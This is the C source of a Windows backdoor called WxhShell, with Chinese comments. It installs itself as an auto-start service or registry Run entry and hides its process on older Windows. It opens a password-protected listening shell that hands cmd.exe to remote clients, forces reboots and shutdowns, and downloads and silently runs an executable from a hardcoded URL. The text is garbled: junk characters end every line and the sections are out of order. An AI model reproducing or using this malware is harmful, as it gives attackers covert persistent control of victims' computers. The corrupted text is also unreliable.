    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]u|5ZCv0  
    else { s:xt4<  
    closesocket(wsh); nTv^][  
    ExitThread(0); &8HJ4Vj2  
    } +8}8b_bgH  
    break; 8}aSSL]  
    } `3^%ft~l  
  // 获取shell $Zn>W@\  
  case 's': { :Qu.CvYF  
    CmdShell(wsh); oM!zeJNA  
    closesocket(wsh); /u~L3Cp(  
    ExitThread(0); RDxvN:v  
    break; ?$@E}t8g\  
  } D\Fu4Eg  
  // 退出 t vp kc;  
  case 'x': { af_b G;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QfV:&b`  
    CloseIt(wsh); %Vb~}sT:  
    break; zP>=K  
    } nNhb,J  
  // 离开 DD'RSV5]  
  case 'q': { G&q@B`I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :gM_v?sy  
    closesocket(wsh); .Fx-$Yqy  
    WSACleanup(); ~.E r  
    exit(1); \iH\N/  
    break; ^Sc48iDc  
        } ? @- t.N  
  } ]Wn=Oc{F  
  } 2,rjy|R`  
xJ^pqb  
  // 提示信息 fBLR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b\vL^\bX8  
} mW)C=X%  
  } |!cM_&  
Na.)!h_Kn'  
  return; b v 4  
} &4m;9<8\  
MtG~ O;?8  
// shell模块句柄 $aY:Z_s  
int CmdShell(SOCKET sock) DfZ)gqp/Av  
{ \|7Y"WEQ  
STARTUPINFO si; 3uuB/8  
ZeroMemory(&si,sizeof(si)); Y'?{yx{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K7},X01^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ub-vtRpm  
PROCESS_INFORMATION ProcessInfo; *#Iqz9X.Y3  
char cmdline[]="cmd"; =c#;c+a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^,#MfF6  
  return 0; "|GX%> /  
} -:Jn|=  
]m\:XhI*<  
// 自身启动模式 S~ZRqL7Z O  
int StartFromService(void) w1)SuMFK_  
{ oF.H?lG7`  
typedef struct 2f2.;D5g_'  
{ |#5_VEG  
  DWORD ExitStatus; w/wU~~  
  DWORD PebBaseAddress; 4EFP*7X  
  DWORD AffinityMask; &!? qSi~V  
  DWORD BasePriority; }4_c~)9Q  
  ULONG UniqueProcessId; 84c[Z   
  ULONG InheritedFromUniqueProcessId; 7jPn6uz>w  
}   PROCESS_BASIC_INFORMATION; :Oc&{z?q  
?>iZ){0,  
PROCNTQSIP NtQueryInformationProcess; R ]y9>5 'U  
pbNW l/|4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v]m#+E   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (h27SLYm  
t_iZ\_8  
  HANDLE             hProcess; 7VA6J-T  
  PROCESS_BASIC_INFORMATION pbi; rm!.J0 X  
^"4u1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~c'R7E&Bfa  
  if(NULL == hInst ) return 0; eQsoZQA1  
F <.} q|b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m@y_Wt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4(p,@e31  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :snn-e0l  
% ^&D,  
  if (!NtQueryInformationProcess) return 0; *Vp$#Rb  
D}K/5iU]a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1#jvr_ ga  
  if(!hProcess) return 0; _R;+}1G/  
^j g{MTa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; etL)T":XV  
vA#?\j2  
  CloseHandle(hProcess); Kvh6D"  
YL@d+ -\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1~9AQ[]w8  
if(hProcess==NULL) return 0; ;aUI3n%  
mG+hLRTXP  
HMODULE hMod; !@@rO--&  
char procName[255]; Xj;5i Vq  
unsigned long cbNeeded; Ge4 tc  
+( V+XT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cP[]\r+Kj  
}$1Aw%p^  
  CloseHandle(hProcess); Gq^#.o]  
ai~JY[  
if(strstr(procName,"services")) return 1; // 以服务启动 !GBGC|avE  
b6gD*w <  
  return 0; // 注册表启动 p> 4bj>Ql  
} {bPcr hB  
 eZ +uW0  
// 主模块 dIDs~  
int StartWxhshell(LPSTR lpCmdLine) T(6B,  
{ 2`w\<h  
  SOCKET wsl; s`"ALn8m  
BOOL val=TRUE; vh6#Bc)i%w  
  int port=0; h}$]3/5H  
  struct sockaddr_in door; 4!tHJCq"  
m#(ve1E  
  if(wscfg.ws_autoins) Install(); 8v']>5S]#  
m7~[f7U  
port=atoi(lpCmdLine); 1w|V'e?kb  
_\2^s&iJh  
if(port<=0) port=wscfg.ws_port; o*1t)HL<  
&-6 D'@  
  WSADATA data; k0R;1lZ0n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1">]w2je:  
=v]eQIp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "6%vVi6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4C_-MJI  
  door.sin_family = AF_INET; blA]z!FU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hX@.k|Yd  
  door.sin_port = htons(port); bNO/CD4  
6Bfu89  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IWcYa.=tZ  
closesocket(wsl); },5_h0  
return 1; ^, KN@  
} Q.[^5 8  
#%g~fh  
  if(listen(wsl,2) == INVALID_SOCKET) { iXDQ2&gE*  
closesocket(wsl); ICgyCsZ,  
return 1; $\@yH^hL  
} 5PlTf?Ao  
  Wxhshell(wsl); t#h<'?\E  
  WSACleanup(); $MG. I[h  
`;R|SyrX  
return 0; -/ #tQ~{gs  
6axm H~_  
} C&ivjFf  
Zm@ O[:~  
// 以NT服务方式启动 u!DSyHR '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X*'-^WM6  
{ c=p@l<)  
DWORD   status = 0; W[3)B(Vq<E  
  DWORD   specificError = 0xfffffff; kM\O2 ay  
<ST#< $%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k&P_ c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GX lFS#`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'yM)>]u"  
  serviceStatus.dwWin32ExitCode     = 0; mckrR$>  
  serviceStatus.dwServiceSpecificExitCode = 0; "@I"0OA  
  serviceStatus.dwCheckPoint       = 0; cuP5cL/Y  
  serviceStatus.dwWaitHint       = 0; ?y{C"w!   
N{G+|WmQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UI:{*N**Z  
  if (hServiceStatusHandle==0) return; eMvb*X6  
; (+r)r_  
status = GetLastError(); b\w88=|  
  if (status!=NO_ERROR) :/IcFU~)M  
{ ]4>[y?k34  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7o+!Gts]  
    serviceStatus.dwCheckPoint       = 0; =7mR#3yt  
    serviceStatus.dwWaitHint       = 0; QPfS3%p`  
    serviceStatus.dwWin32ExitCode     = status; +B@NSEy/+  
    serviceStatus.dwServiceSpecificExitCode = specificError; S!n 9A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VBssn]w  
    return; K5)G+Id*  
  } <z|? C  
 G?]E6R  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tH"SOGfSt  
  serviceStatus.dwCheckPoint       = 0; q'?:{k$%  
  serviceStatus.dwWaitHint       = 0; hqY9\,.C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ${ ~UA 6  
} MNiu5-g5  
p\8cl/~  
// 处理NT服务事件,比如:启动、停止 \6Ze H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O.E   
{ 1h+!<c q  
switch(fdwControl) GfU+'k;9  
{ G1~|$X@@  
case SERVICE_CONTROL_STOP: Sh]x`3 ).  
  serviceStatus.dwWin32ExitCode = 0; fwRlqfi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L/GM~*Xp(O  
  serviceStatus.dwCheckPoint   = 0; < P5;8  
  serviceStatus.dwWaitHint     = 0; q9oF8&O,  
  { WL}6YSC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =D4EPfQn1  
  } LZG^\c$  
  return; H9w*U  
case SERVICE_CONTROL_PAUSE: g}3c r .  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *ma/_rjK  
  break; Em@h5V  
case SERVICE_CONTROL_CONTINUE: K. R2)o`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; asW1GZO  
  break; %~ecrQ;  
case SERVICE_CONTROL_INTERROGATE: $YSD%/c  
  break; fwAN9zs  
}; $_Qo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A0rdQmrOL  
} Ytx+7OLe  
VJCh5t*  
// 标准应用程序主函数 BPrA*u }T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6EK+]0  
{ 6DJ,/J2F  
%TG$5' )0  
// 获取操作系统版本 q'hV 'U  
OsIsNt=GetOsVer(); <'~8mV1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vt mO  
Mn~A;=%qF  
  // 从命令行安装 !nj%n  
  if(strpbrk(lpCmdLine,"iI")) Install(); \MtiLaI"  
~~zw[#'  
  // 下载执行文件 jD^L<  
if(wscfg.ws_downexe) { 9v cUo?/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |k/;.  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]QT0sGl  
} Ip4NkUI3T  
sp**Sg)  
if(!OsIsNt) { g@Ni!U"_c  
// 如果时win9x,隐藏进程并且设置为注册表启动 /"CKVQ  
HideProc(); HxY,R ^  
StartWxhshell(lpCmdLine); h0.Fstf]  
} .4!N #'  
else N`Bt|#R  
  if(StartFromService()) a LmVOL{  
  // 以服务方式启动 [k'Ph33c  
  StartServiceCtrlDispatcher(DispatchTable); c(#`z!FB  
else <YeF?$S}  
  // 普通方式启动 G<jpJ  
  StartWxhshell(lpCmdLine); U-FA^c;  
6>=>Yj  
return 0; )1fQhdO}x  
} @L<[38  
~#a1]w  
@IiT8B  
HnP;1Gi  
=========================================== oLr"8R\d>t  
dWqFP  
4(aesZ8h  
7-o=E=  
iQ9#gPk_9  
U[A*A^$c}  
" Ab2g),;c  
gv[7h'}<  
#include <stdio.h> l(]\[}.5  
#include <string.h> 5&X  
#include <windows.h> Ve8!   
#include <winsock2.h> [QZ~~(R  
#include <winsvc.h> zt,-O7I'1  
#include <urlmon.h> .@6]_h;  
+cV!=gDT  
#pragma comment (lib, "Ws2_32.lib") uPF yRWK  
#pragma comment (lib, "urlmon.lib") u4<r$[]V  
]R4)FH|><  
#define MAX_USER   100 // 最大客户端连接数 HJJ ^pk&  
#define BUF_SOCK   200 // sock buffer Oq[E\8Wn  
#define KEY_BUFF   255 // 输入 buffer L|q<Bpz  
#h3+T*5} 6  
#define REBOOT     0   // 重启 4{vd6T}V!  
#define SHUTDOWN   1   // 关机 Eq8OAuN  
?J~JQe42  
#define DEF_PORT   5000 // 监听端口 b<F 4_WF  
40#KcbMa|  
#define REG_LEN     16   // 注册表键长度 7 YK+TGmU^  
#define SVC_LEN     80   // NT服务名长度 Nu_ w@T\l  
@zJI0_Bp  
// 从dll定义API GcU/   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sRZ:9de+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zDl, bLiJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MtYP3:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \W}EyA  
R82Y&s;  
// wxhshell配置信息 y:A0!75  
struct WSCFG { fiZv+R<x1  
  int ws_port;         // 监听端口 gNqV>p  
  char ws_passstr[REG_LEN]; // 口令 2 YN` :"  
  int ws_autoins;       // 安装标记, 1=yes 0=no '.K,EM!-~h  
  char ws_regname[REG_LEN]; // 注册表键名 Wl#^Eu\g1W  
  char ws_svcname[REG_LEN]; // 服务名 0&.lSwa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q9 ;\B&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xF/DYXC{8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q jBCkx]g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yjl0Pz .q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }-L@AC/\#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t3GK{X  
d_,tXV"z&  
}; 4jz]c"p-  
yQA[X}  
// default Wxhshell configuration iCK$ o_`?  
struct WSCFG wscfg={DEF_PORT, O5{XT]:  
    "xuhuanlingzhe", x5|v# -F ^  
    1, ;Bb5KD  
    "Wxhshell", ^97ZH)Ww  
    "Wxhshell", _#4,&bh8  
            "WxhShell Service", dI !/:x  
    "Wrsky Windows CmdShell Service", v$i%>tQ\  
    "Please Input Your Password: ", _Y|kX2l S@  
  1, cik@QN<[0  
  "http://www.wrsky.com/wxhshell.exe", u W|x)g11a  
  "Wxhshell.exe" -*lP1Nbp  
    }; YxtkI:C?  
{^f0RGJg9  
// 消息定义模块 >Y+KL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D9C}Dys  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .zAafi0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ziycyf.d  
char *msg_ws_ext="\n\rExit."; ,jnRt%W  
char *msg_ws_end="\n\rQuit."; ^d9raYE`'  
char *msg_ws_boot="\n\rReboot..."; gkz#kiGF  
char *msg_ws_poff="\n\rShutdown..."; LgNNtZ&F  
char *msg_ws_down="\n\rSave to "; 4:@|q:DR  
B<XPu=|  
char *msg_ws_err="\n\rErr!"; 3b 3cNYP  
char *msg_ws_ok="\n\rOK!"; E)hinH  
+=h!?<*C8  
char ExeFile[MAX_PATH];  >Y'yM4e*  
int nUser = 0; jp^WsHI3  
HANDLE handles[MAX_USER]; FqsjuU@l  
int OsIsNt; J3x7i8  
na3kHx@  
SERVICE_STATUS       serviceStatus; @L!#i*> 9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W[>TqT63  
|I}+!DDuv  
// 函数声明 SU'1#$69F  
int Install(void); YhT1P fl  
int Uninstall(void); nh=Us^xD  
int DownloadFile(char *sURL, SOCKET wsh); arLl8G[  
int Boot(int flag); (<C%5xk  
void HideProc(void); 6h_k`z  
int GetOsVer(void); |<|,RI?  
int Wxhshell(SOCKET wsl); 0:Y`#0qK  
void TalkWithClient(void *cs); <u?hdwW \  
int CmdShell(SOCKET sock); \.1b\\  
int StartFromService(void); Gr@{p"./z  
int StartWxhshell(LPSTR lpCmdLine); N`Xnoehu  
)Zf}V0!?+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N#)VD\m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G`#gV"PlC  
4_%FSW8-  
// 数据结构和表定义 L[G\+   
SERVICE_TABLE_ENTRY DispatchTable[] = 5SL>q`t.bd  
{ pInWKj[y1  
{wscfg.ws_svcname, NTServiceMain}, ePRMv  
{NULL, NULL} b2=Q~=Wc  
}; +Jka:]MW!  
px>> ]>ZMH  
// 自我安装 U9o*6`"o  
int Install(void) /eRtj:9M  
{ DsW`V~ T  
  char svExeFile[MAX_PATH]; 8Qz7uPq  
  HKEY key; 6&QTVdK'O  
  strcpy(svExeFile,ExeFile); 2Ml2Ue-9  
*@arn Eu  
// 如果是win9x系统,修改注册表设为自启动 ~}0hN]*G  
if(!OsIsNt) { K^vp(2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -mHhB(Td'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [a)~Dui0@\  
  RegCloseKey(key); +R#`j r"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SfobzX}~Jh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^1,Eo2yN  
  RegCloseKey(key); ]az} n(B,  
  return 0; ,L{o, qzC  
    } b#;N!VX  
  } @!a]qAt  
} T7,Gf({  
else { v~2XGm  
Df,VV+  
// 如果是NT以上系统,安装为系统服务 q AVfbcb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .(dmuV9  
if (schSCManager!=0) /9+A97{  
{ 4EhBpTg  
  SC_HANDLE schService = CreateService TnBGMI,g'  
  ( FV6he [,  
  schSCManager, 7k t7^V<  
  wscfg.ws_svcname, YeExjC  
  wscfg.ws_svcdisp, ua|Z`qUyq  
  SERVICE_ALL_ACCESS, fA M4Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jbhJ;c:  
  SERVICE_AUTO_START, x\bRj>%(  
  SERVICE_ERROR_NORMAL, 1xdESorX(  
  svExeFile, _IKP{WNB  
  NULL, @j\?h$A/  
  NULL, v8vh~^X%P  
  NULL, ({_:^$E\  
  NULL, ?J@?,rZQ^V  
  NULL x$5nLS2.  
  ); ;*4tVp,  
  if (schService!=0) t6%xit+  
  { H=o-ScA  
  CloseServiceHandle(schService); \eMYw7y5 M  
  CloseServiceHandle(schSCManager); J]Gc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &iND&>?  
  strcat(svExeFile,wscfg.ws_svcname); Xq^y<[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -m'3L7:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jdg ~!<C  
  RegCloseKey(key); E #{WU}  
  return 0; i3 l #~  
    } [mB(GL  
  } @Wx`l) b  
  CloseServiceHandle(schSCManager); [rUh;_b\D  
} X |1_0  
} }u3H4S<o  
L >Ez-  
return 1; "'}v0*[  
} f0mH|tI`  
W#Hv~1  
// 自我卸载 QK3j_'F=E  
int Uninstall(void) IQlw 914  
{ 3dxnh,]&@  
  HKEY key; l q\'  
F'UguC">  
if(!OsIsNt) { Dmm r]~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fs3 -rXoB  
  RegDeleteValue(key,wscfg.ws_regname); & GzhcW~  
  RegCloseKey(key); y800(z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nT@6g|!  
  RegDeleteValue(key,wscfg.ws_regname); =8$0$d  
  RegCloseKey(key); *t?~)o7  
  return 0; J+cAS/MYX  
  } {Ukc D+.Y  
} }[KDE{,V  
} yYG3/Z3u5  
else { A1|7(Sow  
A^4kYOe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EBIa%,  
if (schSCManager!=0) vNK`Y|u@  
{ fNAo$O4cm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0[2BY]`Z.  
  if (schService!=0) w `. T/  
  { X#p o|,Q  
  if(DeleteService(schService)!=0) { G>[ NZE  
  CloseServiceHandle(schService); qr'x0r|<>  
  CloseServiceHandle(schSCManager); ! =\DC,-CB  
  return 0; s#+"5&!s  
  } hs{&G^!jo  
  CloseServiceHandle(schService); <wUD  
  } (?!(0Ywbg  
  CloseServiceHandle(schSCManager); HeT6Dv  
} /jjW/ lr  
} Ere?d~8  
o8};e  
return 1; 1Es*=zg  
} Y0Hq+7x  
+#-kIaU  
// 从指定url下载文件 ^&`sWO@=  
int DownloadFile(char *sURL, SOCKET wsh) Mz/]DJ8  
{ [V> :`?  
  HRESULT hr; )p/=u@8_f  
char seps[]= "/"; 3WO#^}t  
char *token; t?]\M&i&  
char *file; kW<Yda<a  
char myURL[MAX_PATH]; pBg|n=^  
char myFILE[MAX_PATH]; b"R, p=M  
5#TrCPi6A  
strcpy(myURL,sURL); KdOh'OrT9.  
  token=strtok(myURL,seps); RV0>-@/x  
  while(token!=NULL) z)58\rtz  
  { H-/; l54E  
    file=token; 6m, KL5>W  
  token=strtok(NULL,seps); []A"]p  
  } ]k ::J>84  
[):{5hMA  
GetCurrentDirectory(MAX_PATH,myFILE); ), nCq^Bp  
strcat(myFILE, "\\"); iA55yT+  
strcat(myFILE, file); &\J?[>EJ.  
  send(wsh,myFILE,strlen(myFILE),0); V-D}U$fw  
send(wsh,"...",3,0); Sk6b`W7$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;mf4 U85  
  if(hr==S_OK) %XEKhy  
return 0; 0On? {Bw  
else qYgwyj=4  
return 1; /~o7Q$)-b  
`y8 ?=  
} ~")h E%Kl}  
:X'*8,]KHH  
// 系统电源模块 z +3<$Z  
int Boot(int flag) LJRg>8  
{ ZNzR `6}  
  HANDLE hToken; kq)+@p  
  TOKEN_PRIVILEGES tkp; 1s{ISWm  
u @{E{  
  if(OsIsNt) { pY+.SuM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :r1;}hIA9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zY7*[!c2  
    tkp.PrivilegeCount = 1; (v|r'B9 b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0K=Qf69Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CCbkxHMf|!  
if(flag==REBOOT) { W4)kkJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0Y2\n-`z  
  return 0; g\ErJ+i  
} ^=eq .(>  
else { LYd}w(}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xN#bzma  
  return 0; vOos*&  
} RL?u n}Qa  
  } G{@C"H[$<  
  else { :7 qqjs  
if(flag==REBOOT) {  Jt##rVN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zq,iLoY[R  
  return 0; ayV6m  
} >;&Gz-lm  
else { |HrM_h<X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jrIA]K6  
  return 0; `^v4zWDK  
} S304ncS|M  
} u9TzZ  
G 6Wx3~  
return 1; ( MB`hk-d  
} M (+.$uz  
`d75@0:  
// win9x进程隐藏模块 c5X`_  
void HideProc(void) q:vz?G  
{ F0@Qgk]\  
\n[ 392  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?k [%\jq{a  
  if ( hKernel != NULL ) .CVUEK@Z4  
  { CD^CUbGk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c]6V"Bo}A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %4j&H!y-w;  
    FreeLibrary(hKernel); ;knd7SC   
  } |J:$MX~  
xKY$L*  
return; cvKV95bn  
} 1s Br.+p  
-u6}T!  
// 获取操作系统版本 o:_^gJ+|  
int GetOsVer(void) sT)6nV  
{ vT?Q^PTO  
  OSVERSIONINFO winfo; . 3Gn ZR,L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q(lku"U'  
  GetVersionEx(&winfo); BR;QY1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RXBb:f  
  return 1; pJd0k"{  
  else \;-qdV_JB  
  return 0; ;SfNKu  
} c\M#5+1j  
6^Ph '  
// 客户端句柄模块 {]=v]O |,  
int Wxhshell(SOCKET wsl) IQT cYl  
{ 3=Z<wD s  
  SOCKET wsh; {] O`g G  
  struct sockaddr_in client; ,:^ N[b   
  DWORD myID; wDDxj  
\3r3{X _<`  
  while(nUser<MAX_USER) IeVLn^?+:  
{ JL.5QzA  
  int nSize=sizeof(client); x"vwWJNQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z+jh ;!i  
  if(wsh==INVALID_SOCKET) return 1; tG/1pW  
Mec{_jiH&D  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~uB'3`x  
if(handles[nUser]==0) [Gh"ojt]w  
  closesocket(wsh); opdu=i=E  
else tVunh3-  
  nUser++; :y\09)CJK  
  } S."7+g7Ar  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wy''tqg6  
` K w7"  
  return 0; Y~az!8j;Z  
} kBbl+1{H  
Uh.Sc:trA  
// 关闭 socket *wwhZe4V  
void CloseIt(SOCKET wsh) yLW/ -%I#u  
{ $&IpX M]  
closesocket(wsh); z5 Bi=~=#  
nUser--; _F izgs  
ExitThread(0); \83sSw  
} a"QU:<-v  
=O,JAR"ug  
// 客户端请求句柄 uArR\k(  
void TalkWithClient(void *cs) MHo1 lrZa+  
{ [h4o7  
k5@d! }#c  
  SOCKET wsh=(SOCKET)cs; 8a9RML}G<  
  char pwd[SVC_LEN]; =<{ RX8  
  char cmd[KEY_BUFF]; {rC~ P  
char chr[1]; ZW*n /#GUC  
int i,j; JvkL37^ n:  
^n9a " qz  
  while (nUser < MAX_USER) { ,-@5NY1q  
|z~LzSJv  
if(wscfg.ws_passstr) { &3Tx@XhO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x5OC;OQc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1kmQX+f  
  //ZeroMemory(pwd,KEY_BUFF); ^YKy9zkTl  
      i=0; Ziz=]D_  
  while(i<SVC_LEN) { y? "@v.  
'&by3y5w-3  
  // 设置超时 H0a -(  
  fd_set FdRead; =Y9\DeIZ  
  struct timeval TimeOut; pc H<gF(k  
  FD_ZERO(&FdRead); 'S?;J ,/  
  FD_SET(wsh,&FdRead); ID4~ Gn  
  TimeOut.tv_sec=8; ^Dr.DWi{$  
  TimeOut.tv_usec=0; ,GrB'N{8e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cx^{/U?9}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U<47WfcW  
Pr+~Kif  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C c*( {  
  pwd=chr[0]; HR60   
  if(chr[0]==0xd || chr[0]==0xa) { ;LRW 8Wd  
  pwd=0; M$A#I51  
  break; &aPl`"j  
  } 7yI`e*EOD  
  i++; dn,gZ"<  
    } $ D'^t(  
WA.AFt  
  // 如果是非法用户,关闭 socket  i-W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '# z]M  
} RH(V^09[o  
s-k_d<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z<pJYpxH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \cQ .|S  
R#(G%66   
while(1) { 4DLq}v  
vG Vd  
  ZeroMemory(cmd,KEY_BUFF); "+|L_iuNQ  
s&'BM~WI  
      // 自动支持客户端 telnet标准   !gH 9ay  
  j=0; ~O;y?]U  
  while(j<KEY_BUFF) { K>1X}ZMdD(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @(:v_l  
  cmd[j]=chr[0]; )ofm_R'q*  
  if(chr[0]==0xa || chr[0]==0xd) { #tjmWGo,  
  cmd[j]=0; t`G)b&3_O  
  break; :eOR-}p'  
  } nrpI5t.b  
  j++; 8g*hvPc  
    } *7" L]6  
4_LQ?U>$  
  // 下载文件 :?CQuEv-  
  if(strstr(cmd,"http://")) { Y ?'tUV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &Un6ay  
  if(DownloadFile(cmd,wsh)) PuXUuJx(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,P6=~q3k  
  else aMK~1]Cx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ksWSMxm  
  } wAYB RY[  
  else { q0O&UE)6Y  
lKKERO5+  
    switch(cmd[0]) { ?4[H]BK  
  :\yc*OtX  
